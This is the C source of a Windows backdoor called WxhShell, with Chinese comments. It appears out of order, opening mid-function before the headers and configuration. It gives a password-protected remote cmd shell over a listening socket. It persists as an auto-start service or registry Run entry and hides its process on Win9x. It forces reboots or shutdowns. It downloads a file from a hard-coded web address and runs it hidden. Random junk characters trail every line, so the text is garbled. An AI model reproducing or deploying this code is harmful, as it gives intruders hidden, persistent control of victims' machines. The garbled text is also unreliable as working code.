    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y&vHOA  
    if(Boot(SHUTDOWN)) ZjU=~)O}H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5-8]N>/b!  
    else { [ 8F \;  
    closesocket(wsh); [1z{T(dh  
    ExitThread(0); ;".z[l*  
    } 8yE!7$Mj  
    break; :O9P(X*  
    } (jM<T;4  
  // 获取shell YXF#c)#  
  case 's': { XnBm`vk?V!  
    CmdShell(wsh); wL'oImE  
    closesocket(wsh); ;#3ekl{-g  
    ExitThread(0); IWAj Mwo  
    break; f;.SSiT  
  } C/F@ ]_y  
  // 退出 @&?a]>L  
  case 'x': { n}19?K]g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0/ut:RV0  
    CloseIt(wsh); fC_zX}3  
    break; &oA~ Tx  
    } "?$L'!bM@  
  // 离开 P,(9cyS{  
  case 'q': { BSN6|W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 49o\^<4b  
    closesocket(wsh); sNL+F  
    WSACleanup(); V {p*z  
    exit(1); y)P&]&"?  
    break; -:MmSeG7gO  
        } W:WQaF`2x  
  } A*hZv|$0  
  } d$}&nV/A)  
)&>L !,z  
  // 提示信息 \UOm]z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *\D}eBd|  
} jDkm:X}:  
  } Wu,S\!  
:WVSJ,. !  
  return; C#0brCQq3  
} sa G8g  
975 _d_U  
// shell模块句柄 #00D?nC  
int CmdShell(SOCKET sock) )Bo]=ZTJ^  
{ ^_sQG  
STARTUPINFO si; +,z) #  
ZeroMemory(&si,sizeof(si)); " CM ucK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !~)90Z!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +>!V ]S  
PROCESS_INFORMATION ProcessInfo; mg`j[<wp  
char cmdline[]="cmd"; n&$/Q$d&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E:)Cp  
  return 0; F_ 81l<  
} #ra*f~G  
r_^)1w  
// 自身启动模式 cAb>2]M5V  
int StartFromService(void) "kU]  
{ $Zxt&a  
typedef struct `]jqQr97  
{ P3!Atnv2  
  DWORD ExitStatus; QjJfE<h  
  DWORD PebBaseAddress; w.z<60%},0  
  DWORD AffinityMask; 6Cv.5V hx  
  DWORD BasePriority; &))\2pl  
  ULONG UniqueProcessId; -%,"iaO  
  ULONG InheritedFromUniqueProcessId; B$?^wo  
}   PROCESS_BASIC_INFORMATION; ~>g+2]Bn>$  
p?JQ[K7i  
PROCNTQSIP NtQueryInformationProcess; +Ofa#^5);K  
/OG zt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; at| \FOKj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1'Rmg\(  
Zj!Abji=O  
  HANDLE             hProcess; :^#vxdIC?  
  PROCESS_BASIC_INFORMATION pbi; 6e.[,-eU  
hF>u)%J/S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g*J@[y;  
  if(NULL == hInst ) return 0; ~8{sA5y  
 Gq1)1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I]9 C_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nZ E)_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $gvr -~  
X#`dWNrN  
  if (!NtQueryInformationProcess) return 0; R,,Qt TGB  
v@n_F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #K|9^4jt  
  if(!hProcess) return 0; <cj{Qk  
z_&P?+"Df  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p!DP`Ouc3\  
R\O.e  
  CloseHandle(hProcess); fd1C {^c  
(>7>3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  #^0(  
if(hProcess==NULL) return 0; 9 <\`nm  
%u!b& 5]e  
HMODULE hMod; `]<`$71w  
char procName[255]; !0" nx{7.  
unsigned long cbNeeded; ;dZMa]X0  
H M:r0_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v"!4JZ%K  
f<=Fe:1.  
  CloseHandle(hProcess); BC77<R!E)  
J=H)JH3  
if(strstr(procName,"services")) return 1; // 以服务启动 H=~9CJ+tc  
3CZS)  
  return 0; // 注册表启动 i zwUS!5e  
} sn{tra  
r*XLV{+4  
// 主模块 (CE7j<j  
int StartWxhshell(LPSTR lpCmdLine) Apfnx7Fv  
{ 4N>>+]MWc  
  SOCKET wsl; Z-X?JA\&  
BOOL val=TRUE; iK;opA"  
  int port=0; I 3$dVls}  
  struct sockaddr_in door; Wf26  
'7 )"  
  if(wscfg.ws_autoins) Install(); = |U@  
:d,^I@]  
port=atoi(lpCmdLine); e %O0hE  
3$/ 4wH^  
if(port<=0) port=wscfg.ws_port; md Gwh7/3  
&^.57]  
  WSADATA data; -:Rp'SJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nt :N!suP3  
c j$6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =;L*<I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !CY&{LEYn0  
  door.sin_family = AF_INET; aUopNmN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (p)!Mq "^  
  door.sin_port = htons(port); Yl^mAS[w&  
nv/[I,nw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ml!5:r>  
closesocket(wsl); @%ECj)u`O  
return 1; ~Ci{3j :]  
} ^QX bJJ  
!36]ud&  
  if(listen(wsl,2) == INVALID_SOCKET) { 8p^B hd  
closesocket(wsl); R^&q-M=O[  
return 1; nms8@[4-  
} EG<s_d?  
  Wxhshell(wsl); *C|  
  WSACleanup(); 3lxc4@Zmd  
*ZCn8m:-+  
return 0; }j {!-&  
=r. >N\  
} _GYMPq\%L#  
ssQ BSbx  
// 以NT服务方式启动 b{7E;KyY,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s][24)99  
{ &:#h$`4  
DWORD   status = 0; fz_nsVD  
  DWORD   specificError = 0xfffffff; SX0_v_%M  
V*[b} Xew  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vIGw6BJI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $% k1fa C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 jb/o5n;  
  serviceStatus.dwWin32ExitCode     = 0; gXFWxT8S  
  serviceStatus.dwServiceSpecificExitCode = 0; c,\i"=!$  
  serviceStatus.dwCheckPoint       = 0; 30j|D3-  
  serviceStatus.dwWaitHint       = 0; kLSrj\6I[  
#;KsJb)N.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E+95WF|4k"  
  if (hServiceStatusHandle==0) return; u,. 3  
D@ek9ARAq  
status = GetLastError(); a}yXC<}$  
  if (status!=NO_ERROR) ]3{0J  
{ coE&24,0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S56]?M|[  
    serviceStatus.dwCheckPoint       = 0; [I*! lbt  
    serviceStatus.dwWaitHint       = 0; `6=-WEo  
    serviceStatus.dwWin32ExitCode     = status; sy* y\5yJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; <=K qc Hb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dh| w^Q  
    return; L71!J0@a#  
  } dtStTT  
l: |D,q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x[_=#8~.1x  
  serviceStatus.dwCheckPoint       = 0; OR6ML- |  
  serviceStatus.dwWaitHint       = 0; fT\:V5-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >TL^>D  
} kh$_!BT  
. RVVWqW  
// 处理NT服务事件,比如:启动、停止 Xf'=+f2p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ='?:z2lJ  
{ ed 59B)?l  
switch(fdwControl) )KSoq/  
{ .>g1 $rj  
case SERVICE_CONTROL_STOP: B:TR2G9UT  
  serviceStatus.dwWin32ExitCode = 0; /lhz],w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F t&+vS  
  serviceStatus.dwCheckPoint   = 0; W[bmzvJ_X  
  serviceStatus.dwWaitHint     = 0; ,Dmc2D  
  { qeL pXe0c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ue:z1p;g  
  } F4#g?R ::U  
  return; jF ^5}5U  
case SERVICE_CONTROL_PAUSE: qZk'tRv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FwAKP>6*  
  break; j|fd-<ng  
case SERVICE_CONTROL_CONTINUE: kTIYD o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9v )%dO.  
  break; 0 >Z ;Ni  
case SERVICE_CONTROL_INTERROGATE: 1MsWnSvzf  
  break; u+9<&)X0  
}; jn%kG ~]'Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eJ8]g49mD6  
} 7k%T<;V  
yq[Cq=rBk  
// 标准应用程序主函数 8iQ[9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r`\A nT?  
{ FN[R(SLbL  
yBe d kj  
// 获取操作系统版本 ;;s* Ohh  
OsIsNt=GetOsVer(); @ez Tbc3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H4-qB Z'  
w)] H ^6  
  // 从命令行安装 Oc?+M 5  
  if(strpbrk(lpCmdLine,"iI")) Install(); uYG^Pc^v  
t=euE{c  
  // 下载执行文件 [`=LTBt  
if(wscfg.ws_downexe) { 9Mm!%Hu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O%!5<8Xrb  
  WinExec(wscfg.ws_filenam,SW_HIDE); NVV}6TUV  
} (WlIwKP  
Mn:/1eY  
if(!OsIsNt) { 1Y xgR}7  
// 如果时win9x,隐藏进程并且设置为注册表启动 >XW*T5aUA  
HideProc(); H( ^bC5'  
StartWxhshell(lpCmdLine); 'rP]Nw  
} 4b]a&_-}  
else  @gGRm  
  if(StartFromService()) w2(guL($  
  // 以服务方式启动 M&Y .;  
  StartServiceCtrlDispatcher(DispatchTable); c8 K3.&P6  
else @MR?6n*k  
  // 普通方式启动 Mq%,lJA\  
  StartWxhshell(lpCmdLine); <msxHw  
PG5- ;i/  
return 0; bucR">_p  
} 1[nG}  
"](6lB1Oe  
%%%fL;-y  
}S_oH9A  
=========================================== %rKK[  
jMBiaX`F  
q(^Q3  
s'P( ,!f  
|Yi)"-  
 Wa/g`}  
" DmqX"x%P  
Mc sTe|X  
#include <stdio.h> )w~Fo,   
#include <string.h> p 5u_1U0  
#include <windows.h> n_K~ vD  
#include <winsock2.h> `RQ#.   
#include <winsvc.h> )(Iy<Y?#  
#include <urlmon.h> C2e.2)y  
'$|UwT`s  
#pragma comment (lib, "Ws2_32.lib") }WFf''Z-  
#pragma comment (lib, "urlmon.lib") 2R-A@UE2  
3Q}$fQ&S  
#define MAX_USER   100 // 最大客户端连接数 4NEq$t$Jn  
#define BUF_SOCK   200 // sock buffer {kI#A?M  
#define KEY_BUFF   255 // 输入 buffer w6|9|f/  
.o{0+fC#  
#define REBOOT     0   // 重启 ytEC   
#define SHUTDOWN   1   // 关机 Die-@z|Y  
z|R,&~:  
#define DEF_PORT   5000 // 监听端口 1a0kfM$  
kW3E =pr  
#define REG_LEN     16   // 注册表键长度 pfuW  
#define SVC_LEN     80   // NT服务名长度 b}ODWdJ1  
 84zTCX  
// 从dll定义API fr6^nDY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j '%4{n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vZ7gS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a[bBT@f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }Y(]6$uS  
0x2!<z  
// wxhshell配置信息 [a[/_Sf{  
struct WSCFG { ewNz%_2  
  int ws_port;         // 监听端口 8cx=#Me  
  char ws_passstr[REG_LEN]; // 口令 XK(`mEi  
  int ws_autoins;       // 安装标记, 1=yes 0=no t,)N('m}=  
  char ws_regname[REG_LEN]; // 注册表键名 Yx'res4e  
  char ws_svcname[REG_LEN]; // 服务名 |iFVh$N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @\_x'!R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  oz'\q0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T70QJ=,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ChryJRuwv5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `[#x_<\t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B-.v0R`5  
" }gVAAvc7  
}; ^62|d  
V+-$ jOh  
// default Wxhshell configuration %m5Q"4O  
struct WSCFG wscfg={DEF_PORT, x Ha=3n  
    "xuhuanlingzhe", #BK9 k>i  
    1, y]..= z_ql  
    "Wxhshell", tHD  
    "Wxhshell", =bh*[ , -  
            "WxhShell Service", RIM`omM  
    "Wrsky Windows CmdShell Service", I:(m aMc  
    "Please Input Your Password: ", ln*icaDqf  
  1, B (/U3}w-  
  "http://www.wrsky.com/wxhshell.exe", PeX1wK%f  
  "Wxhshell.exe" fHrt+_Zn|  
    }; vqslirC  
Y-piL8Xc  
// 消息定义模块 ;wiao(t>4N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }y%`)lz~;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (%CZ*L[9Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F1;lQA*7K.  
char *msg_ws_ext="\n\rExit."; 1:C:?ZC#c  
char *msg_ws_end="\n\rQuit."; 8GPIZh'0 h  
char *msg_ws_boot="\n\rReboot..."; ~ jU/<~s  
char *msg_ws_poff="\n\rShutdown..."; LVIAF0kX  
char *msg_ws_down="\n\rSave to "; &ej8mq"\  
 9DQ)cy  
char *msg_ws_err="\n\rErr!"; yAT^VRbv  
char *msg_ws_ok="\n\rOK!"; -kz4FS  
r r`;W}3  
char ExeFile[MAX_PATH]; e;bYaM4 UX  
int nUser = 0; $lIWd  
HANDLE handles[MAX_USER]; 7T``-:`[  
int OsIsNt; 4PLk  
zo{/'BnU  
SERVICE_STATUS       serviceStatus; XKL3RMF9r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R9We/FhOY  
t9gfU5?  
// 函数声明 Y&H}xn  
int Install(void); 6\7nc FO3  
int Uninstall(void); )"(]Lf's  
int DownloadFile(char *sURL, SOCKET wsh); <^.=>Q0 S\  
int Boot(int flag); DF]9@{  
void HideProc(void); j!~l,::$"X  
int GetOsVer(void); p=GWq(S6  
int Wxhshell(SOCKET wsl); MiT}L  
void TalkWithClient(void *cs); GY3 Wj  
int CmdShell(SOCKET sock); UEs7''6RM  
int StartFromService(void); k- V,~c  
int StartWxhshell(LPSTR lpCmdLine); ;a=w5,h:  
C,V%B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WtQ8X|\`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <tpmUA[]  
4!Z5og1kn  
// 数据结构和表定义 %V &n*3  
SERVICE_TABLE_ENTRY DispatchTable[] = 7 J^rv9i4  
{ OV2 -8ERS  
{wscfg.ws_svcname, NTServiceMain}, _LP/!D  
{NULL, NULL} Ng><n}  
}; e+v({^k  
dF0,Y?  
// 自我安装 Dih6mTP{  
int Install(void) @WH@^u  
{ i"zuil  
  char svExeFile[MAX_PATH]; g 6]epp[8  
  HKEY key; ZN"j%E{d  
  strcpy(svExeFile,ExeFile); sb:d>6  
xX3'bsN  
// 如果是win9x系统,修改注册表设为自启动 U~{du;\  
if(!OsIsNt) { )m6M9eC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HS'Vi9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}hIW":3Sr  
  RegCloseKey(key); IJTtqo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s &Dg8$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hLJM%on  
  RegCloseKey(key); (%iRaw7hp  
  return 0; Yw _+`,W   
    } ^@P1 JNe  
  } &aM7T_h8  
} JvYPC  
else { f >BWG`  
- (#I3h;I  
// 如果是NT以上系统,安装为系统服务 Bwr3jV?S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I%|>2}-_U  
if (schSCManager!=0) /TS=7J#  
{ \xg]oKbn  
  SC_HANDLE schService = CreateService +q6ydb,  
  ( [m^+,%m5]  
  schSCManager, E{6~oZ#L  
  wscfg.ws_svcname, P"sA  
  wscfg.ws_svcdisp, Qf@I)4'  
  SERVICE_ALL_ACCESS, **69rN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TW !&p"Us+  
  SERVICE_AUTO_START, >-&R47G  
  SERVICE_ERROR_NORMAL, BL@:!t  
  svExeFile, 5s(1[(  
  NULL, $mF_,|  
  NULL, 4k./(f2+  
  NULL, Ym;*Y !~[  
  NULL, P%K4[c W~  
  NULL -OSa>-bzNx  
  ); -i-?.:  
  if (schService!=0) " R xP^l  
  { 1CLL%\V  
  CloseServiceHandle(schService); % `Z! 4L  
  CloseServiceHandle(schSCManager); A'P(a`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <w3!!+oK"  
  strcat(svExeFile,wscfg.ws_svcname); .s$z/Jv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &^ 4++  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $XoQ]}"O  
  RegCloseKey(key); |7x\m t  
  return 0; .F+@B\A<  
    } uw lr9nB  
  } X$/2[o#g  
  CloseServiceHandle(schSCManager); 7gRgOzWfV  
} )>BHL3@  
} 4@xE8`+b G  
E!S 78 z:  
return 1; ,@5I:X!rR  
} k{t`|BnPKB  
# W"=ry3{  
// 自我卸载 3G kv4,w<  
int Uninstall(void) $ImrOf^qt  
{ =*Bl|;>6  
  HKEY key; s=CK~+,/  
 T Q,?>6n  
if(!OsIsNt) { $ `7^+8vHV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NO :a;  
  RegDeleteValue(key,wscfg.ws_regname); orb_"Qw  
  RegCloseKey(key); 2 3gPbtq/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NVRLrJWpp  
  RegDeleteValue(key,wscfg.ws_regname); av~5l4YL  
  RegCloseKey(key); |fo0  
  return 0; @V!r"Bkg.  
  } zP<pEI  
} QE7V. >J_p  
} 7B?c{  
else { vx4+QQY P  
c [5KG}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NF? vg/{  
if (schSCManager!=0) {AQ=<RDRF  
{ X]'7Ov  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4f<$4d^md  
  if (schService!=0) }1rm  
  { [<KM?\"1<  
  if(DeleteService(schService)!=0) { k?7 X3/O  
  CloseServiceHandle(schService); nl9P, d  
  CloseServiceHandle(schSCManager); B-r0"MX&  
  return 0; vY_-Ranj#.  
  } &y#r;L<9  
  CloseServiceHandle(schService); =)7s$ p  
  } n?c]M  
  CloseServiceHandle(schSCManager); /Ju;MeE9  
} PsZ >P|e1  
} 2;?I>~  
=lpQnj"  
return 1; J4\qEO  
} b Ax?&$  
iya"ky~H  
// 从指定url下载文件 =yy5D$\  
int DownloadFile(char *sURL, SOCKET wsh) '{B!6|"X  
{ ?y!E-&  
  HRESULT hr; l\n@cQR  
char seps[]= "/"; y  TDNNK  
char *token; tzh1s i  
char *file; b4pm_Um  
char myURL[MAX_PATH]; CH<E,Z C1T  
char myFILE[MAX_PATH]; _H/8_[xk  
<=,6p>Eo[  
strcpy(myURL,sURL); s@7H1)U  
  token=strtok(myURL,seps); NrJKbk^4u/  
  while(token!=NULL) `F>O;>i''  
  { >orK';r<  
    file=token; ~T89_L  
  token=strtok(NULL,seps); ,#kIr  
  } )<Hd T  
Alxx[l\<J  
GetCurrentDirectory(MAX_PATH,myFILE); A\.GV1  
strcat(myFILE, "\\"); 1&U>,;]*  
strcat(myFILE, file); GbaEgA'fa  
  send(wsh,myFILE,strlen(myFILE),0); Zp# v Hs  
send(wsh,"...",3,0); )d>!"JB-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RnDt)3  
  if(hr==S_OK) Y(cGk#0  
return 0; }O4^Cc6  
else w4d--[Q  
return 1; ~((w?Yy"v  
qC?:*CXH  
} 5kz)5,KjM  
UCClWr  
// 系统电源模块 yT,.z 0  
int Boot(int flag) >lIk9|  
{ G@Z?&"    
  HANDLE hToken; Zc`BiLzrIG  
  TOKEN_PRIVILEGES tkp; w:<W.7y?0  
$+I;oHWI  
  if(OsIsNt) { ;IokThI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iS<I0\D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JQ@E>o7_  
    tkp.PrivilegeCount = 1; L# 2+z@g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jE/AA!DC#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wL:flH@  
if(flag==REBOOT) { s=QAO!aw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dp*u9z~NA  
  return 0; mA=i)Ga  
} 8!Ww J Oe  
else { rq/I` :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *N<&GH(j  
  return 0; %eO0w a$a  
} 0ok-IHE<  
  } 9B7^lR  
  else { )(384@'"u  
if(flag==REBOOT) { { >)#HD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X'qU*Eo  
  return 0; w_{wBL[3e  
} %Va!\#  
else { x}8yXE"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7G>dTO  
  return 0; z3;*Em8Ir  
} 7*Ej. HK  
} :1bWVM)  
aD$v2)RR  
return 1; j4R(B  
} 7M<'/s  
j?x>_#tIY  
// win9x进程隐藏模块 n74V|b6W  
void HideProc(void) ub\MlSr  
{ <yNM%P<Oy  
Gf<'WQ[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @3C>BLI8+  
  if ( hKernel != NULL ) S9~ +c  
  { rcC<Zat,|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +2&@x=xy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X6@WwM~qz  
    FreeLibrary(hKernel); 9|gr0&#~j  
  } E{Ov>osq  
&N\jG373  
return; f>UXD  
} 42(Lb'G  
)E-inHD /  
// 获取操作系统版本 <?riU\-]y  
int GetOsVer(void) 2;DuHO1  
{ F|e1"PkeoA  
  OSVERSIONINFO winfo; 'z%o16F)L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :?g:~+hfO  
  GetVersionEx(&winfo); 4;0lvDD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P;qN(2L/=<  
  return 1; =IQ5<;U3  
  else 3 I@}my1  
  return 0; d\R,Q  
} <FcG oGK  
sP;nGQ.eN  
// 客户端句柄模块 H1QJ k_RL  
int Wxhshell(SOCKET wsl) &h^9}>rVjV  
{ y)W@{@{kl  
  SOCKET wsh; w1OI4C)~  
  struct sockaddr_in client; ;7 E7!t^  
  DWORD myID; JNt^ (z  
Kgi<UkFP  
  while(nUser<MAX_USER) MbZJ;,e?  
{ 7b;I+q  
  int nSize=sizeof(client); +wN^c#~7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W;'!gpa  
  if(wsh==INVALID_SOCKET) return 1; hRrn$BdLX  
p~BRh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b\$}>O  
if(handles[nUser]==0) w[S pw<Z  
  closesocket(wsh); i+S) K  
else !'&n -Q  
  nUser++; QxVq^H  
  } <SgM@0m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t>urc  
#Ssx!+q?  
  return 0; T|7}EAR=b  
} %_RQx2  
Lvq>v0|  
// 关闭 socket s;S?;(QI  
void CloseIt(SOCKET wsh) pb ~u E  
{ }L+L"l&  
closesocket(wsh); w$z}r  
nUser--; TDFkxB>  
ExitThread(0); Po__-xN>Q  
} i|w81p^o  
h_:C+)13`x  
// 客户端请求句柄 g`vny)\7/  
void TalkWithClient(void *cs) nrxo &9[@n  
{ "$ Y_UJT7  
r@+ri1c  
  SOCKET wsh=(SOCKET)cs; K1r#8Q!t  
  char pwd[SVC_LEN]; @eD):Y  
  char cmd[KEY_BUFF]; ~sl{|E  
char chr[1]; b\vKJ2  
int i,j; 2ORNi,_I  
6:Ch^c+IZ  
  while (nUser < MAX_USER) { #(#Wv?r6  
3DiLk=\~  
if(wscfg.ws_passstr) { :km61  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  FT#8L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~]pE'\D7Ad  
  //ZeroMemory(pwd,KEY_BUFF); TcjEcMw,  
      i=0; ?s\:hNNY  
  while(i<SVC_LEN) { s2'yY(u/  
Ne8Cgp  
  // 设置超时 P&9Gga^I  
  fd_set FdRead; L;VoJf  
  struct timeval TimeOut; DoJ\ q+  
  FD_ZERO(&FdRead); 5p<ItU$pnL  
  FD_SET(wsh,&FdRead); !%^^\,  
  TimeOut.tv_sec=8; T (OW  
  TimeOut.tv_usec=0; %W%9j#!aN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,&j hlZ i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ezH'y-v  
1crnm J!C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D7lK30  
  pwd=chr[0]; WHsgjvh"  
  if(chr[0]==0xd || chr[0]==0xa) { pk?w\A}  
  pwd=0; #E? (vA1  
  break; y.e^hRKb  
  } (qqOjz   
  i++; P3cRl']  
    } //T>G_1  
0fb`08,^  
  // 如果是非法用户,关闭 socket & -{DfNKc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [5zx17'  
} co~Pyj  
?no fUD.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y4t7`-,~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?o oe'V@  
WF1px%  
while(1) { tZ} v%3  
w[9|cgCY  
  ZeroMemory(cmd,KEY_BUFF); PZE0}>z  
0Fk5kGD,&K  
      // 自动支持客户端 telnet标准   1T y<\bZ=  
  j=0; 56+s~hG  
  while(j<KEY_BUFF) { Y? x,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xIxn"^'  
  cmd[j]=chr[0]; P|.]DJ  
  if(chr[0]==0xa || chr[0]==0xd) { ]w;rfn9D  
  cmd[j]=0; -~v|Rt  
  break; uJFdbBDSh  
  } U7 `A497Z  
  j++; yRSTk2N@  
    } biSz?DJ>  
D2](da:]8)  
  // 下载文件 N}pw74=1  
  if(strstr(cmd,"http://")) { [q/Abz'i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2"Ecd  
  if(DownloadFile(cmd,wsh)) @6{~05.p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;'5>q&[qbP  
  else R A KFU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +V m}E0Ov  
  } u=/{cOJI6  
  else { tE@;X=  
&j4xgh9  
    switch(cmd[0]) { a= DcZ_M  
  ^cczJOxB  
  // 帮助 S{;sUGcu  
